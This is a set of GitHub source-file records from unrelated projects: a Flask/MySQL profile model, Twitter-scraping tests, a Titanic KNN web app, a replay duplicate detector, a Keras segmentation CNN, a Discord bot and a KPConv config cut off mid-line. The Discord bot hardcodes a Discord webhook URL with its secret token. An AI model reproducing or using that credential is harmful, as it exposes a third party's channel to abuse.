prefix+randomstr\n\n\t\t\tcur.execute(\"SELECT * FROM profiles WHERE profileID=%s\",(profileID,))\n\t\t\tresult = cur.fetchall()\n\t\t\tif len(result)!=0:\n\t\t\t\tflag=0\n\t\t\telse:\n\t\t\t\tflag=1\n\t\tif flag==1:\n\t\t\tcur.execute(\"INSERT INTO profiles(username,profileID,firstName,lastName,birthDate,sex) VALUES (%s,%s,%s,%s,%s,%s)\",(self.username,profileID,self.firstName,self.lastName,self.birthDate,self.gender))\n\t\t\tcur.execute(\"INSERT INTO profilephonenumber(profileID,phoneNumber) VALUES (%s,%s)\",(profileID,phoneNumber))\n\t\t\tmysql.connection.commit()\n\n\tdef updateProfile(self,profileID):\n\t\tcur = mysql.connection.cursor()\n\t\tcur.execute(\"UPDATE profiles SET firstName=%s,lastName=%s,birthDate=%s,sex=%s WHERE profileID=%s\",(self.firstName,self.lastName,self.birthDate,self.gender,profileID))\n\t\tmysql.connection.commit()\n\n\n\tdef allProfiles(self):\n\t\tcur = mysql.connection.cursor()\n\t\tcur.execute(\"SELECT * FROM profiles\")\n\t\tprofiles = cur.fetchall()\n\t\treturn profiles\n\n\n\t@classmethod\n\tdef searchPhoneNumber(cls,username):\n\t\tcur = mysql.connection.cursor()\n\t\tcur.execute(\"SELECT * FROM profiles WHERE username=%s\",(username,))\n\t\tprofile = cur.fetchone()\n\t\tif profile!=None:\n\t\t\tpID = profile[1]\n\t\t\tcur.execute(\"SELECT * FROM profilephonenumber WHERE profileID=%s\",(pID,))\n\t\t\tphoneNumber = cur.fetchall()\n\t\t\treturn phoneNumber\n\t@classmethod\n\tdef validatePhoneNumber(cls,phoneNumber):\n\t\tcur = mysql.connection.cursor()\n\t\tcur.execute(\"SELECT * FROM profilephonenumber WHERE phoneNumber=%s\",(phoneNumber,))\n\t\tphoneNumber = cur.fetchall()\n\t\tif bool(phoneNumber)==True:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\t@classmethod\n\tdef updatePhoneNumber(cls,phoneNumber,profileID):\n\t\tcur = mysql.connection.cursor()\n\t\tcur.execute(\"UPDATE profilephonenumber SET phoneNumber=%s WHERE profileID=%s\",(phoneNumber,profileID))\n\t\tmysql.connection.commit()\n\n\tdef allPhoneNumbers(self):\n\t\tcur = mysql.connection.cursor()\n\t\tcur.execute(\"SELECT * FROM profilephonenumber\")\n\t\tphoneNumbers = cur.fetchall()\n\t\tlistOfPhoneNumbers = []\n\t\tfor p in phoneNumbers:\n\t\t\tlistOfPhoneNumbers.append(p[1])\n\t\treturn listOfPhoneNumbers\n\n\tdef allPhoneNumberWithID(self):\n\t\tcur = mysql.connection.cursor()\n\t\tcur.execute(\"SELECT * FROM profilephonenumber\")\n\t\tphoneNumbers = cur.fetchall()\n\t\treturn phoneNumbers\n\t@classmethod\n\tdef searchProfile(cls,usrnm):\n\t\tcur = mysql.connection.cursor()\n\t\tcur.execute(\"SELECT * FROM profiles WHERE username=%s\",(usrnm,))\n\t\tprofile = cur.fetchall()\n\t\treturn profile\n","repo_name":"Rafael-main/PANIMALAY","sub_path":"app/profileModel.py","file_name":"profileModel.py","file_ext":"py","file_size_in_byte":3153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"26748873253","text":"import pytest\nfrom tinydb import TinyDB, Query, where\nimport yaml\nimport os\nimport tweepy\nimport os, sys\nsys.path.append(os.getcwd())\nsys.path.append(os.path.dirname(os.path.abspath(__file__)))\nfrom index import *\n\nimport itertools\n\n\nclass TestTwitterAPI(object):\n\n def db_reset(self):\n db_follower.delete_many({})\n db_friend.delete_many({})\n db_like.delete_many({})\n db_user.delete_many({})\n db_tweet.delete_many({})\n\n def setup_method(self, method):\n self.db_reset()\n self.karin = 968961194257039360 # とりあえず彼の情報を取得時に使う。\n\n \"\"\"\n ユーザーの取得・ユーザーのフォロー・フォロワー情報の取得をテストする。\n \"\"\"\n def test_get_user(self):\n self.db_reset()\n get_user_detail(968961194257039360)\n assert len(list(db_user.find({\"get_follower_timestamp\": 0}))) == 1\n\n # フォロワー情報を取得する。\n get_user_ff(968961194257039360, follower=True)\n assert len(list(db_follower.find())) != 0\n\n # フォロー情報を取得する。\n get_user_ff(968961194257039360, follower=False)\n assert len(list(db_friend.find())) != 0\n\n \"\"\"\n 最適なユーザー情報を返すプログラムを検証する。(非DB依存)\n \"\"\"\n def test_get_valid_user(self):\n self.db_reset()\n db_list = [(\"0\", \"0\", \"0\", \"0\")]\n db_list.extend([v for v in itertools.permutations(\"0001\")])\n db_list.extend([v for v in itertools.permutations(\"0011\")])\n db_list.extend([v for v in itertools.permutations(\"0111\")])\n db_list.extend([(\"1\", \"1\", \"1\", \"1\")])\n\n db_list = list(set(db_list))\n\n db_list = [[int(i) for i in v] for v in db_list]\n\n users_model = list()\n\n for db_flags in db_list:\n user_model = {\n \"id\": 1,\n \"friends_count\": 2000 \n }\n for timestamp, db_flag in zip(TIMESTAMP_LIST, db_flags):\n user_model[timestamp] = db_flag * 100000\n\n users_model.append(user_model)\n\n # 関数と同じ条件(未だ取得してない(取得時刻情報がない)情報)に絞り込む。\n users_model_mod = [v for v in users_model if v[\"get_follower_timestamp\"] == 0]\n user_class = sort_user_id_by_score(users_model_mod, \"get_follower_timestamp\")\n\n assert user_class[\"get_follower_timestamp\"] == 0\n assert user_class[\"get_friend_timestamp\"] != 0\n assert user_class[\"get_like_timestamp\"] != 0\n assert user_class[\"get_tweet_timestamp\"] != 0\n\n \"\"\"\n フォロー・フォロワーより、未だ取得されていないユーザーを取得する。\n \"\"\"\n def test_lookup_users(self):\n self.db_reset()\n get_user_detail(968961194257039360)\n db_follower.insert_many([{\"to\": 107736559}, {\"to\": 953125896822509568}])\n db_friend.insert_many([{\"to\": 968961194257039360}, {\"to\": 953125896822509568}])\n assert len(diff_ff_table_to_user_table()) == 2\n\n get_users_detail_in_follower()\n assert len(list(db_user.find())) == 3\n\n \"\"\"\n タイムライン取得関数を動かす。\n \"\"\"\n def test_get_user_tweet(self):\n get_user_timeline(968961194257039360)\n assert len(list(db_tweet.find())) != 0\n\n def test_get_user_like(self):\n get_user_like(968961194257039360)\n assert len(list(db_like.find())) != 0\n\n \"\"\"\n 有効なユーザーを返す。また、MongoDBのUpdateを確認する。\n 四騎士関数のテスト。\n \"\"\"\n def test_valid_user(self):\n self.db_reset()\n users_mock = [{\"id\": 1}, {\"id\": 2}]\n for v in TIMESTAMP_LIST:\n for i in range(len(users_mock)):\n users_mock[i][v] = now_timestamp()\n\n users_mock[1][\"get_like_timestamp\"] = 0\n db_user.insert_many(users_mock)\n\n user = get_valid_user(\"get_like_timestamp\")\n assert user[\"id\"] == 2\n\n db_user.update_one({\"id\": user[\"id\"]}, {\"$set\": {\"get_like_timestamp\": now_timestamp()}})\n user = db_user.find_one({\"id\": 2})\n assert user[\"get_like_timestamp\"] != 0 \n","repo_name":"I-himawari/TwSocialNetwork","sub_path":"test/test_twitter.py","file_name":"test_twitter.py","file_ext":"py","file_size_in_byte":4215,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"15967907305","text":"import numpy as np\r\nimport pandas as pd\r\nfrom flask import Flask, request, jsonify, render_template\r\nimport pickle\r\n\r\n\r\napp = Flask(__name__)\r\nmodel = pickle.load(open('KNN_classification_Titanic.pkl','rb'))\r\ndataset= pd.read_csv('train.csv')\r\n@app.route('/')\r\ndef home():\r\n \r\n return render_template(\"index.html\")\r\n \r\n@app.route('/predict',methods=['GET'])\r\ndef predict():\r\n \r\n age = int(request.args.get('age'))\r\n fare = float(request.args.get('fare'))\r\n parch = int(request.args.get('parch'))\r\n pclass = int(request.args.get('pclass'))\r\n sibsp = int(request.args.get('sibsp'))\r\n sex = (request.args.get('sex'))\r\n\r\n if sex==\"Male\":\r\n sex = 1\r\n else:\r\n sex = 0\r\n \r\n prediction = model.predict([[pclass, sex, age, sibsp, parch, fare]])\r\n \r\n if prediction == [0]:\r\n return render_template('index.html', prediction_text='Sorry, the person you are searching for is no more')\r\n \r\n else:\r\n return render_template('index.html', prediction_text='Thank GOD, the person you are searching for is safe ')\r\n\r\nif __name__ == \"__main__\":\r\n app.run(debug = True)\r\n","repo_name":"Rohan2605/Rohan_Titanic_KNN_classification","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1123,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"5634441951","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# Author: Tony \n# Time: 2019/5/30 00:33\nimport unittest\nimport logging\n\nfrom onion_decorator.suppress_exception import suppress_exception\n\nlogging.basicConfig(level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\n@suppress_exception\ndef raise_no_exception():\n raise IOError()\n\n\nclass TestSuppressExceptions(unittest.TestCase):\n def test_raise_exception(self):\n raise_no_exception()\n self.assertTrue(True)\n","repo_name":"PurpleSun/onion_decorator","sub_path":"onion_decorator/test/test_suppress_exception.py","file_name":"test_suppress_exception.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"32832770839","text":"import requests\nimport json\n\nBASE_URL = \"https://reqres.in\"\ndata = {\n \"name\": \"morpheus\",\n \"job\": \"leader\"\n}\nresponse = requests.post(BASE_URL + \"/api/users\", data=data)\nprint(json.dumps(response.json(), indent=5))\n","repo_name":"Gopichand995/bigdata","sub_path":"peace_/Tests/sample_test.py","file_name":"sample_test.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"28373017244","text":"#!/usr/bin/env python\n\"\"\"\nDetects duplicates and invalid slp files.\nUsage: duplicates.py \n\nThis uses the x inputs of player 1 to detect duplicates.\nThere must be a better way but this works for now.\n\"\"\"\nfrom os.path import abspath\nimport subprocess\nimport sys\nimport hashlib\nimport glob\nimport json\n\npeppi_command = \"/home/matt/Projects/peppi-slp/target/release/slp -r last \"\ndupes_file = \"/home/matt/Projects/output/dupes.txt\"\nerror_file = \"/home/matt/Projects/output/error.txt\"\n\ndef check_for_duplicates(path):\n\n files = glob.glob(path + '/**/*.slp', recursive=True)\n print(\"Found \" + str(len(files)) + \" slp files.\")\n\n hashes = dict()\n duplicates = []\n\n for index, file in enumerate(files):\n print(str(index) + \"/\" + str(len(files)) + \" - \" + file)\n try:\n game_json = json.loads(subprocess.check_output(peppi_command + '\"'+file+'\"', shell=True))\n frames = game_json[\"frames\"]\n inputs = []\n for frame in frames:\n inputs.append(frame[\"ports\"][0][\"leader\"][\"pre\"][\"position\"][\"x\"])\n\n inputs_hash = str(hash(str(inputs)))\n\n if inputs_hash in hashes:\n duplicates.append(file)\n else:\n hashes[inputs_hash] = file\n except:\n ef = open(error_file, \"a\")\n print(\"An exception occurred\")\n ef.write(abspath(file) + \"\\n\")\n ef.close()\n \n print(\"# Duplicates: \" + str(len(duplicates)))\n f = open(dupes_file, \"a\")\n for d in duplicates:\n f.write(abspath(d) + \"\\n\")\n f.close()\n\nif __name__ == \"__main__\":\n if sys.argv[1:]:\n check_for_duplicates(sys.argv[1])\n else:\n print(\"Usage: %s \" % sys.argv[0])","repo_name":"madenney/Archiver","sub_path":"scripts/duplicates.py","file_name":"duplicates.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"9863576480","text":"from keras.models import Sequential\nfrom keras.layers.convolutional import Convolution2D\nfrom keras.layers.convolutional import MaxPooling2D\nfrom keras.layers.core import Activation\nfrom keras.layers.core import Flatten\nfrom keras.layers.core import Dense\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn import datasets\nfrom keras.optimizers import SGD\nfrom keras.utils import np_utils\nimport numpy as np\nfrom skimage import io\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import f1_score\n\nGTS_IND_LIST = [1,3,5,7,11,13,15,17,21,23,26,28,30,32,34,37] \nTEST_IND_LIST = [1,7,15,32]\nTRAIN_IND_LIST = [i for i in GTS_IND_LIST if not i in TEST_IND_LIST]\n\nMAIN_PATH = \"/Users/ekaterina/Documents/Semantic Segmentation/ISPRS_semantic_labeling_Vaihingen\"\nTOP_FORMAT = \"/top/top_mosaic_09cm_area{}.tif\"\nSLIC_RES_FORMAT = \"/Output/SLIC/{}_area_{}_segm.txt\"\nGTS_FORMAT = \"/gts_for_participants/top_mosaic_09cm_area{}.tif\"\nNDSM_FORMAT = \"/ndsm/ndsm_09cm_matching_area{}.bmp\"\n\n#FEATURES_FORMAT = \"/Output/FEATURES_WITH_NEIGHBOURS/{}_area_{}_segm.txt\"\nFEATURES_FORMAT = \"/Output/FEATURES/{}_area_{}_segm.txt\"\nLABELS_FORMAT = \"/Output/LABELS/{}_area_{}_segm.txt\"\nADJ_GRAPH_FORMAT = \"/Output/ADJ_GRAPHS/{}_area_{}_segm.txt\"\n\nCLASSES_NUM = 6\n\nSEGM_MAX_NUM = 30000\n\nFEATURES_NUM = 20\n\nBATCH_SIZE = 200\n\nCONV_W = 2\nPOOL_W = 2\nNUER_1 = 20\nNEUR_2 = 50\nEPOCH = 20\n\ncategories = np.zeros((6, 3), dtype = 'uint8')\ncategories[0] = [255, 255, 255]\ncategories[1] = [0, 0, 255]\ncategories[2] = [0, 255, 255]\ncategories[3] = [0, 255, 0]\ncategories[4] = [255, 255, 0]\ncategories[5] = [255, 0, 0]\n\ndef get_slic_res(num, seg_num):\n res_path = MAIN_PATH + SLIC_RES_FORMAT.format(num, seg_num)\n res = np.loadtxt(res_path, dtype = \"int\")\n return res\n\ndef get_gts(num):\n label_path = MAIN_PATH + GTS_FORMAT. format(num)\n res = io.imread(label_path)\n return res\n\ndef convert_labels_to_color(label_map):\n color_map = np.zeros((label_map.shape[0],label_map.shape[1], 3), dtype = 'uint8')\n for i in range(label_map.shape[0]):\n for j in range (label_map.shape[1]):\n for k in range(6):\n if label_map[i][j] == k:\n color_map[i][j] = categories[k]\n break\n \n return color_map\n\ndef convert_color_to_labels(color_map):\n label_map = np.zeros((color_map.shape[0],color_map.shape[1]), dtype = 'uint8')\n for i in range(color_map.shape[0]):\n for j in range (color_map.shape[1]):\n pics = color_map[i][j][:]\n for k in range(6):\n if np.array_equal(pics, categories[k, :]):\n label_map[i][j] = k\n break\n return label_map\n\ndef show_pic(pic):\n io.imshow(pic)\n io.show()\n\ndef make_data_plain(data, features_num):\n plain_data = data.copy()\n plain_data.resize(data.shape[0]*data.shape[1], features_num)\n return plain_data\n\nprint(\"Loading features\")\ntrain_data = np.zeros((0, FEATURES_NUM), dtype = 'float64')\ntrain_labels = np.zeros(0, dtype = 'uint8')\ntest_data = np.zeros((0, FEATURES_NUM), dtype = 'float64')\ntest_labels = np.zeros(0, dtype = 'uint8')\nfor i in TRAIN_IND_LIST:\n print(\"Loading area \", i)\n train_data = np.concatenate((train_data, np.loadtxt(MAIN_PATH + FEATURES_FORMAT.format(i,SEGM_MAX_NUM), dtype = 'float64')))\n train_labels = np.concatenate((train_labels, np.loadtxt(MAIN_PATH + LABELS_FORMAT.format(i,SEGM_MAX_NUM), dtype = 'uint8')))\n \nfor i in TEST_IND_LIST:\n print(\"Loading area \", i)\n test_data = np.concatenate((test_data, np.loadtxt(MAIN_PATH + FEATURES_FORMAT.format(i,SEGM_MAX_NUM), dtype = 'float64')))\n test_labels = np.concatenate((test_labels, np.loadtxt(MAIN_PATH + LABELS_FORMAT.format(i,SEGM_MAX_NUM), dtype = 'uint8')))\n\ntrain_labels = np_utils.to_categorical(train_labels, CLASSES_NUM)\ntest_labels = np_utils.to_categorical(test_labels, CLASSES_NUM)\n\ntrain_data = train_data.reshape((train_data.shape[0], 1, FEATURES_NUM))\ntrain_data = train_data[:, :, :,np.newaxis]\n\ntest_data = test_data.reshape((test_data.shape[0], 1, FEATURES_NUM))\ntest_data = test_data[:, :, :,np.newaxis]\n\nCNN = Sequential()\n\nCNN.add(Convolution2D(NUER_1, (1, CONV_W), input_shape=(1, FEATURES_NUM, 1), padding=\"same\"))\nCNN.add(Activation(\"relu\"))\nCNN.add(MaxPooling2D(pool_size=(1, POOL_W), strides=(1, POOL_W)))\n\nCNN.add(Convolution2D(NEUR_2, (1, CONV_W), padding=\"same\"))\nCNN.add(Activation(\"relu\"))\nCNN.add(MaxPooling2D(pool_size=(1, POOL_W), strides=(1, POOL_W)))\n\nCNN.add(Flatten())\nCNN.add(Dense(500))\nCNN.add(Activation(\"relu\"))\n\nCNN.add(Dense(CLASSES_NUM))\nCNN.add(Activation(\"softmax\"))\n\nopt = SGD(lr=0.01)\nCNN.compile(loss=\"categorical_crossentropy\", optimizer=opt,metrics=[\"accuracy\"])\n\nCNN.fit(train_data, train_labels, batch_size=BATCH_SIZE, nb_epoch=EPOCH, verbose=1)\n\nfor j in TEST_IND_LIST:\n testData = np.loadtxt(MAIN_PATH + FEATURES_FORMAT.format(j,SEGM_MAX_NUM), dtype = 'float64')\n testData = testData.reshape((testData.shape[0], 1, 20))\n testData = testData[:, :, :,np.newaxis]\n predicted_plain_labels = CNN.predict(testData)\n predicted_plain_labels = predicted_plain_labels.argmax(axis=1)\n mask = get_slic_res(j, SEGM_MAX_NUM)\n for i in range(mask.shape[0]):\n for k in range(mask.shape[1]):\n mask[i][k] = predicted_plain_labels[mask[i][k]]\n test_label_map = get_gts(j)\n predicted_pic = convert_labels_to_color(mask)\n io.imsave(MAIN_PATH + \"/Output/RES_CNN/Predicted labels for {}_CNN_last.jpg\".format(j), predicted_pic)\n show_pic(predicted_pic)\n show_pic(test_label_map)\n predicted_pic = make_data_plain(predicted_pic,1)\n test_label_map = make_data_plain(test_label_map,1)\n f1_res = f1_score(test_label_map, predicted_pic, labels = [0,1,2,3,4,5], average = 'micro')\n print(\"F1 res = \",f1_res, )\n acc_res = accuracy_score(test_label_map, predicted_pic )\n print(\"Acc res = \" ,acc_res)\n ","repo_name":"EkaterinaGlazkova/semantic_segmentation","sub_path":"CNN.py","file_name":"CNN.py","file_ext":"py","file_size_in_byte":5923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"32024060004","text":"from os import name\nfrom asyncio import sleep\nfrom discord import Intents, Webhook, AsyncWebhookAdapter, Embed, webhook\nfrom apscheduler.schedulers.asyncio import AsyncIOScheduler\nfrom discord.ext.commands import Bot as BotBase\nimport requests\nimport aiohttp\nfrom discord.ext.commands import CommandNotFound, when_mentioned_or\nfrom ..db import db\nfrom glob import glob\nfrom discord.utils import find\n\n\n# PREFIX = \"$\"\nOWNER_IDS = [701561771529470074]\nCOGS = [path.split(\"\\\\\")[-1][:-3] for path in glob(\"./lib/cogs/*.py\")]\nDATA_WEBHOOK_URL = \"https://ptb.discord.com/api/webhooks/876585742904721428/tXuHseUtA-5wz-HoN3ulv9LGxBq1tLYTIoe9PqDGahbSkKu9jllgOXen3Ac8cnsih0Jv\"\n\n\ndef get_prefix(bot, message):\n prefix = db.feild(\"SELECT Prefix FROM guilds WHERE GuildID = ?\" , message.guild.id)\n return when_mentioned_or(prefix)(bot, message)\n\n\nclass Ready(object):\n def run_bot(self):\n for cog in COGS:\n setattr(self, cog, False)\n\n def ready_up(self, cog):\n setattr(self, cog, True)\n print(f\"[COGS] > [StegoBranch] > {cog} Cog Ready.\")\n\n def all_ready(self):\n # return all([getattr(self, cog) for cog in COGS])\n pass\n\n\nclass Bot(BotBase): \n def __init__(self):\n # Req self inits\n self.PREFIX = get_prefix\n self.scheduler = AsyncIOScheduler()\n self.ready = False\n self.cogs_ready = Ready()\n\n # Start DB autosave\n db.autosave(self.scheduler)\n\n # Intents - Members\n intents = Intents()\n intents.members = True\n\n super().__init__(command_prefix=\"$\", owner_ids=OWNER_IDS)\n\n\n def setup(self):\n # Load cogs\n for cog in COGS:\n self.load_extension(f\"lib.cogs.{cog}\")\n print(f\"[COGS] > [StegoBranch] > Loaded {cog} Cog.\")\n\n print(f\"[COGS] > [StegoBranch] > Loaded all Cogs.\")\n\n\n # on_start\n # ------------\n # Extra self init -> sets self.ready to True -> outputs to console\n async def on_ready(self):\n if not self.ready:\n self.scheduler.start()\n self.logchannel = self.get_channel(876585716136693790)\n\n\n while not self.cogs_ready.all_ready():\n await sleep(0.5)\n\n self.ready = True\n print(f\"[STARTUP] > [StegoBranch] > Ready (Build No: {self.VERSION})\")\n\n else:\n print(\"[API] > [StegoBranch] > Reconnected to the Discord API Gateway\")\n \n\n # run -> nuns the bot\n def run(self, version):\n self.VERSION = version\n\n # Start setup\n print(f\"[STARTUP] > [StegoBranch] > Running Setup...\")\n print(f\"[MISC] > [StegoBranch] > Prefix > {self.PREFIX}\")\n self.setup()\n\n\n # Open token\n with open(\"./lib/bot/token.0\", \"r\", encoding=\"utf-8\") as tf:\n self.TOKEN = tf.read()\n\n print(f\"[STARTUP] > [StegoBranch] > Running Bot (Build No: {self.VERSION})\")\n \n # Run Bot\n super().run(self.TOKEN, reconnect=True)\n\n\n # Events Handlers\n # --------------\n # on_guild_join\n async def on_guild_join(self, guild):\n # Add to GuildDB\n print(guild.id)\n db.execute(\"UPDATE guilds SET Prefix = ? WHERE GuildID = ?\", \"$\", guild.id)\n print(\"new guild\")\n\n\n # on_connect --> prints to console\n async def on_connect(self):\n print(\"[API] > [StegoBranch] > Connected to Discord API Gateway\")\n\n\n # on_disconnect --> prints to console\n async def on_disconnect(self):\n print(\"[API] > [StegoBranch] > Disconnected from the Discord API Gateway\")\n\n\n # on_error --> check if command_error -> true -> let user know -> else -> raise error\n async def on_error(self, err, *args, **kwargs):\n if err == \"on_command_error\":\n embed = Embed(title=f\"Ah, slight problem!\", description=\"Something went wrong on my end. I'll let the devs know.\")\n await args[0].send(embed=embed)\n\n raise \n\n\n # on_command_error --> checks type -> outputs to console\n async def on_command_error(self, ctx, exc):\n if isinstance(exc, CommandNotFound):\n pass\n elif hasattr(exc, \"original\"):\n raise exc.original \n else:\n raise exc\n\n\n async def on_message(self, message):\n if message.author.bot: return\n await self.process_commands(message)\n\n\nbot = Bot()","repo_name":"gatelogic/StegoBranch","sub_path":"lib/bot/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"27780751782","text":"import sys\nfrom collections import Counter\n\n\ndef count_sort(A, m):\n \"\"\"\n Сортировка подсчётом.\n Первая строка содержит число 1 <= n <= 10^4, вторая — n натуральных чисел,\n не превышающих 10. Выведите упорядоченную по неубыванию последовательность этих чисел.\n\n :param m - наибольшее число в списке\n :param A - список чисел\n \"\"\"\n a = Counter(A) # Подсчёт кол-ва одинаковых значений\n for key in range(m+1): # Перебор значений по порядку. Известно, что значения < 11\n if key in a: # Если значение есть в словаре\n for _ in range(a[key]):\n print(key, end=' ') # Печать через пробел\n\n\nif __name__ == '__main__':\n # Ввод списка. (через пробел)\n reader = (map(int, line.split()) for line in sys.stdin)\n x = list(next(reader))\n print(x)\n count_sort(x, 10)\n","repo_name":"bakmaks/Algorithms","sub_path":"Сортировки/count_sort.py","file_name":"count_sort.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"4423659325","text":"import requests\n\nfrom typing import Iterable\n\nfrom app.schemas.comment import CommentOut\nfrom app.config import settings\n\n\ndef get_authors_data_by_guids(guids: Iterable[str], token: str) -> dict[str, dict[str, str]]:\n response = requests.get(\n f'{settings.api_iam}/internal/users/',\n json={'guids': tuple(guids)},\n headers={\"Authorization\": f\"Bearer {token}\"}\n )\n authors_data = response.json()\n return authors_data\n\n\ndef set_author_data(comments: Iterable[CommentOut], authors_data: dict[str, dict[str, str]]):\n for comment in comments:\n comment.author_first_name = authors_data[comment.author_guid]['first_name']\n comment.author_last_name = authors_data[comment.author_guid]['last_name']\n comment.author_middle_name = authors_data[comment.author_guid]['middle_name']\n comment.author_email = authors_data[comment.author_guid]['email']\n","repo_name":"co-codin/data-catalog","sub_path":"app/crud/crud_author.py","file_name":"crud_author.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9164060708","text":"#\n#\n# 0=================================0\n# | Kernel Point Convolutions |\n# 0=================================0\n#\n#\n# ----------------------------------------------------------------------------------------------------------------------\n#\n# Configuration class\n#\n# ----------------------------------------------------------------------------------------------------------------------\n#\n# Hugues THOMAS - 11/06/2018\n#\n\nimport os\nfrom os import makedirs, getcwd\nfrom os.path import join, basename, dirname, realpath, exists\nimport numpy as np\nimport json\nimport time\n\nfrom easydict import EasyDict\n\n\n\n\ndef init_cfg():\n\n # Use easydict for parameters\n cfg = EasyDict()\n\n # Experiment specification\n # ------------------------\n\n cfg.exp = EasyDict()\n cfg.exp.working_dir = '' # Str, current working directory\n cfg.exp.date = '' # Str, date of the strat of the experiment\n cfg.exp.results_dir = '' # Str, directory for all results\n cfg.exp.log_dir = '' # Str, directory where this experiemnt is saved\n cfg.exp.seed = 42 # Int, seed for random stuff\n cfg.exp.saving = True # Bool, is the experiment saved or not\n\n\n # Data parameters\n # ---------------\n\n cfg.data = EasyDict()\n cfg.data.name = '' # Str, name of the dataset\n cfg.data.path = '' # Str, path of the dataset\n cfg.data.task = '' # Str, name of the task performed\n\n cfg.data.dim = 3 # Int, dimension of data points\n cfg.data.num_classes = 2 # Int, Number of classes\n\n cfg.data.label_and_names = [] # List, value and name of each label\n cfg.data.label_names = [] # List, name of each label\n cfg.data.label_values = [] # List, value of each label\n\n cfg.data.name_to_label = {} # Dict, get label values from names\n cfg.data.name_to_idx = {} # Dict, get label index from values\n\n cfg.data.ignored_labels = [] # List, value of ignored label values\n\n cfg.data.init_sub_size = 0.02 # Float, data subampling size, negative value means we use original data\n cfg.data.init_sub_mode = 'grid' # Mode for initial subsampling of data\n\n cfg.data.use_cubes = False # Bool, do we use cube sampling instead of sphere samplings\n cfg.data.cylindric_input = False # Bool, do we use infinite height for cube sampling\n\n\n # Network parameters\n # ------------------\n\n cfg.model = EasyDict()\n cfg.model.kp_mode = 'kpconv' # Str, choice of basic operator ('kpconv', 'kpinv', 'kpdef')\n cfg.model.shell_sizes = [15] # List, number of kernel points\n cfg.model.kp_radius = 2.5 # Float, radius of the basic operator\n cfg.model.kp_sigma = 1.0 # Float, radius of the kernel point influence\n cfg.model.kp_influence = 'linear' # Str, Influence function when d < KP_extent. ('constant', 'linear', 'gaussian')\n cfg.model.kp_aggregation = 'sum' # Str, Aggregation mode ('nearest', 'sum')\n cfg.model.kp_fixed = 'center' # Str, Fixed points in the kernel ('none', 'center', 'verticals')\n cfg.model.conv_groups = 1 # Int, number of groups for groups in convolution (-1 for depthwise)\n cfg.model.share_kp = False # Bool, option to share the kenrel point (and thus neighbor influences and weights) \n # across the KPConv of the same layer\n \n cfg.model.inv_groups = 1 # Int, number of groups for groups in involution \n cfg.model.inv_grp_norm = False # Bool, Choose to use group norm for involution weights or kpminimod modulations\n cfg.model.inv_act = 'sigmoid' # Str, activation function for involution weights, kpminimod modulations etc.\n\n cfg.model.kpinv_reduc = 1 # Int, reduction ration for kpinv gen mlp\n cfg.model.kpx_expansion = 8 # Int, expansion parameter for kpinvX\n cfg.model.kpx_upcut = False # Bool, Use upcut in KPConvX block effectively creating two shortcut passes for features\n\n cfg.model.use_strided_conv = True # Bool, Use convolution op for strided layers instead of involution\n cfg.model.first_inv_layer = 0 # Int, Use involution layers only from this layer index\n\n cfg.model.kp_deform_w = 1.0 # Float, multiplier for deformation the fitting/repulsive loss\n cfg.model.kp_deform_grad = 0.1 # Float, multiplier for deformation gradient\n cfg.model.kp_repulse_dist = 1.0 # Float, distance of repulsion for deformed kernel points\n \n cfg.model.in_sub_size = 0.04 # Float, initial subampling size, (voxel size, lattice size of fps minimum distance)\n cfg.model.in_sub_mode = 'grid' # Str, subsampling mode ('grid', 'ph', 'fps')\n cfg.model.radius_scaling = 2.0 # Float, scaling of the radius at each layer.\n\n cfg.model.grid_pool = False # Bool, Are we using pure grid pooling and unpooling like PointTransformer v2\n cfg.model.decoder_layer = False # Bool, Add a layer in decoder like PointTransformer v2\n cfg.model.drop_path_rate = 0.0 # Float, Rate for DropPath to make a stochastic depth model.\n \n cfg.model.upsample_n = 1 # Int, Number of neighbors used for nearest neighbor linear interpolation\n\n cfg.model.input_channels = 1 # Int, dimension of input feaures\n cfg.model.init_channels = 64 # Int, dimension of first network features\n cfg.model.norm = 'batch' # Str, type of normalization in the network ('group', 'batch', 'layer' 'none')\n cfg.model.bn_momentum = 0.1 # Float, Momentum for batch normalization (inverse of what is usually done , 0.01 is strong momentum).\n\n cfg.model.layer_blocks = (2, 1, 1) # Tuple, number of blocks in each layers (in addition to the strided ones in between).\n cfg.model.neighbor_limits = [] # List, maximum number of neigbors per layers\n\n cfg.model.process_ratio = 1.0 # Float, ratio between the radius of processed volume and the radius of the input volume\n cfg.model.n_frames = 1 # Int, number of frames used (Specific to SLAM)\n\n\n # Training parameters\n # -------------------\n\n # train\n cfg.train = EasyDict()\n cfg.train.num_workers = 16 # Int, number of parallel workers for input dataset\n cfg.train.checkpoint_gap = 50 # Int, gap between each saved checkpoint\n\n cfg.train.max_epoch = 300 # Int, number of training epochs\n cfg.train.steps_per_epoch = 1000 # Int, number of steps per epoch\n\n cfg.train.in_radius = 1.0 # Float, radius of the input sphere\n cfg.train.batch_size = 16 # Int, number of input point cloud per batch\n cfg.train.accum_batch = 1 # Int, number of batches accumulated before performing an optimizer 